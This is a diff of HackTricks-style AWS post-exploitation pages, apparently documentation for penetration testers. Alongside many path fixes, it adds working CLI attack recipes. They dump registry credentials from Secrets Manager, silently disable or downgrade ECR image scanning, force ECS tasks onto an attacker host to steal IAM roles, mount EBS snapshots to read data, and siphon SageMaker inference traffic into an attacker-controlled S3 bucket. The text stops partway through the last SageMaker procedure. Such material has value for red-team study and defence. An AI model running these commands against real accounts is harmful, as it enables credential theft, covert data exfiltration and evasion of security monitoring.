||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
aws secretsmanager get-secret-value --secret-id "$s" \
|
||||
--query SecretString --output text | tee /tmp/ptc_secret.json
|
||||
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
|
||||
Optional: validate leaked creds against the upstream (read‑only login)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
|
||||
Impact
|
||||
- Reading these Secrets Manager entries yields reusable upstream registry credentials (username/password or token), which can be abused outside AWS to pull private images or access additional repositories depending on upstream permissions.
|
||||
|
||||
|
||||
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
An attacker with registry-level ECR permissions can silently reduce or disable automatic vulnerability scanning for ALL repositories by setting the registry scanning configuration to BASIC without any scan-on-push rules. This prevents new image pushes from being scanned automatically, hiding vulnerable or malicious images.
|
||||
|
||||
Requirements
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
|
||||
Registry-wide downgrade to manual (no auto scans)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
aws ecr get-registry-scanning-configuration --region "$REGION"
|
||||
|
||||
# Set BASIC scanning with no rules (results in MANUAL scanning only)
|
||||
aws ecr put-registry-scanning-configuration \
|
||||
--region "$REGION" \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
|
||||
Test with a repo and image
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
|
||||
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
|
||||
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
|
||||
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
|
||||
|
||||
# Verify no scan ran automatically
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
|
||||
Optional: further degrade at repo scope
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
--region "$REGION" \
|
||||
--repository-name "$repo" \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
|
||||
Impact
|
||||
- New image pushes across the registry are not scanned automatically, reducing visibility of vulnerable or malicious content and delaying detection until a manual scan is initiated.
|
||||
|
||||
|
||||
### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Reduce vulnerability detection quality across the entire registry by switching the BASIC scan engine from the default AWS_NATIVE to the legacy CLAIR engine. This doesn’t disable scanning but can materially change findings/coverage. Combine with a BASIC registry scanning configuration with no rules to make scans manual-only.
|
||||
|
||||
Requirements
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Impact
|
||||
- Registry setting `BASIC_SCAN_TYPE_VERSION` set to `CLAIR` so subsequent BASIC scans run with the downgraded engine. CloudTrail records the `PutAccountSetting` API call.
|
||||
|
||||
Steps
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Read current value so you can restore it later
|
||||
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
|
||||
|
||||
# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
|
||||
|
||||
# 3) Verify the setting
|
||||
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
|
||||
|
||||
# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
|
||||
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
|
||||
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
|
||||
@@ -1,67 +0,0 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
|
||||
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
|
||||
The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:**
|
||||
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
|
||||
A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this:
|
||||
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,141 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
|
||||
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
|
||||
The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:**
|
||||
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
|
||||
A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this:
|
||||
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container.
|
||||
|
||||
- Needs (minimum):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
|
||||
- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.
|
||||
|
||||
Steps (Fargate example):
|
||||
|
||||
1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
|
||||
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
|
||||
2) Register a task definition with a volume marked `configuredAtLaunch` and mount it in the container. Example (prints the secret then sleeps):
|
||||
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
|
||||
"containerDefinitions": [
|
||||
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"entryPoint":["/bin/sh","-c"],
|
||||
"command":["cat /loot/secret.txt || true; sleep 3600"],
|
||||
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
|
||||
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
|
||||
}
|
||||
],
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
|
||||
3) Create or update a service passing the EBS snapshot via `volumeConfigurations.managedEBSVolume` (requires iam:PassRole on the infra role). Example:
|
||||
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
"serviceName": "ht-ebs-svc",
|
||||
"taskDefinition": "ht-ebs-read",
|
||||
"desiredCount": 1,
|
||||
"launchType": "FARGATE",
|
||||
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
|
||||
"volumeConfigurations": [
|
||||
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
4) When the task starts, the container can read the snapshot contents at the configured mount path (e.g., `/loot`). Exfiltrate via the task’s network/logs.
|
||||
|
||||
Cleanup:
|
||||
|
||||
```bash
|
||||
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - EFS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticfilesystem:DeleteMountTarget`
|
||||
@@ -51,7 +51,7 @@ aws efs delete-access-point --access-point-id <value>
|
||||
|
||||
**Potential Impact**: Unauthorized access to the file system, data exposure or modification.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - EKS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EKS
|
||||
|
||||
For mor information check
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-eks-enum.md
|
||||
../../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumerate the cluster from the AWS Console
|
||||
@@ -25,7 +25,7 @@ aws eks update-kubeconfig --name aws-eks-dev
|
||||
|
||||
- Not that easy way:
|
||||
|
||||
If you can **get a token** with **`aws eks get-token --name <cluster_name>`** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**.
|
||||
If you can **get a token** with **`aws eks get-token --name <cluster_name>`** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**.
|
||||
|
||||
In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name):
|
||||
|
||||
@@ -85,13 +85,13 @@ The way to grant **access to over K8s to more AWS IAM users or roles** is using
|
||||
> [!WARNING]
|
||||
> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**.
|
||||
|
||||
For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
|
||||
For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
|
||||
|
||||
### From Kubernetes to AWS
|
||||
|
||||
It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### GET Api Server Endpoint from a JWT Token
|
||||
|
||||
@@ -152,7 +152,7 @@ So, if an **attacker compromises a cluster using fargate** and **removes all the
|
||||
>
|
||||
> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Elastic Beanstalk Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
@@ -77,7 +77,7 @@ aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west
|
||||
|
||||
**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
For more information about IAM access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Confused Deputy Problem
|
||||
@@ -185,7 +185,7 @@ aws iam update-server-certificate \
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Encrypt/Decrypt information
|
||||
@@ -204,7 +204,7 @@ aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --ne
|
||||
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Lightsail Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information, check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Restore old DB snapshots
|
||||
@@ -24,10 +24,10 @@ Or **export the snapshot to an AMI in EC2** and follow the steps of a typical EC
|
||||
Check out the Lightsail privesc options to learn different ways to access potential sensitive information:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-lightsail-privesc.md
|
||||
../../aws-privilege-escalation/aws-lightsail-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Organizations Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizations
|
||||
|
||||
For more info about AWS Organizations check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
../../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Leave the Org
|
||||
@@ -16,7 +16,7 @@ For more info about AWS Organizations check:
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - RDS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
@@ -637,4 +637,4 @@ Evidence observed in test:
|
||||
Impact: Continuous near‑real‑time exfiltration of selected Aurora PostgreSQL tables into Redshift Serverless controlled by the attacker, without using database credentials, backups, or network access to the source cluster.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - S3 Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive Information
|
||||
@@ -35,7 +35,7 @@ Finally, the attacker could upload a final file, usually named "ransom-note.txt,
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,142 @@
|
||||
# AWS - SageMaker Post-Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Abuse SageMaker endpoint management to enable full request/response capture to an attacker‑controlled S3 bucket without touching the model or container. Uses a zero/low‑downtime rolling update and only requires endpoint management permissions.
|
||||
|
||||
### Requirements
|
||||
- IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
|
||||
- S3: s3:CreateBucket (or use an existing bucket in the same account)
|
||||
- Optional (if using SSE‑KMS): kms:Encrypt on the chosen CMK
|
||||
- Target: An existing InService real‑time endpoint in the same account/region
|
||||
|
||||
### Steps
|
||||
1) Identify an InService endpoint and gather current production variants
|
||||
|
||||
```
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
echo "Endpoint=$EP"
|
||||
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
|
||||
2) Prepare attacker S3 destination for captures
|
||||
|
||||
```
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
|
||||
3) Create a new EndpointConfig that keeps the same variants but enables DataCapture to the attacker bucket
|
||||
|
||||
Note: Use explicit content types that satisfy CLI validation.
|
||||
|
||||
```
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
{
|
||||
"EnableCapture": true,
|
||||
"InitialSamplingPercentage": 100,
|
||||
"DestinationS3Uri": "s3://$BUCKET/capture",
|
||||
"CaptureOptions": [
|
||||
{"CaptureMode": "Input"},
|
||||
{"CaptureMode": "Output"}
|
||||
],
|
||||
"CaptureContentTypeHeader": {
|
||||
"JsonContentTypes": ["application/json"],
|
||||
"CsvContentTypes": ["text/csv"]
|
||||
}
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config \
|
||||
--region $REGION \
|
||||
--endpoint-config-name "$NEWCFG" \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
|
||||
4) Apply the new config with a rolling update (minimal/no downtime)
|
||||
|
||||
```
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
|
||||
5) Generate at least one inference call (optional if live traffic exists)
|
||||
|
||||
```
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
|
||||
6) Validate captures in attacker S3
|
||||
|
||||
```
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
|
||||
### Impact
|
||||
- Full exfiltration of real‑time inference request and response payloads (and metadata) from the targeted endpoint to an attacker‑controlled S3 bucket.
|
||||
- No changes to the model/container image and only endpoint‑level changes, enabling a stealthy data theft path with minimal operational disruption.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Abuse endpoint management to redirect asynchronous inference outputs to an attacker-controlled S3 bucket by cloning the current EndpointConfig and setting AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. This exfiltrates model predictions (and any transformed inputs included by the container) without modifying the model/container.
|
||||
|
||||
### Requirements
|
||||
- IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
|
||||
- S3: Ability to write to the attacker S3 bucket (via the model execution role or a permissive bucket policy)
|
||||
- Target: An InService endpoint where asynchronous invocations are (or will be) used
|
||||
|
||||
### Steps
|
||||
1) Gather current ProductionVariants from the target endpoint
|
||||
|
||||
```
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
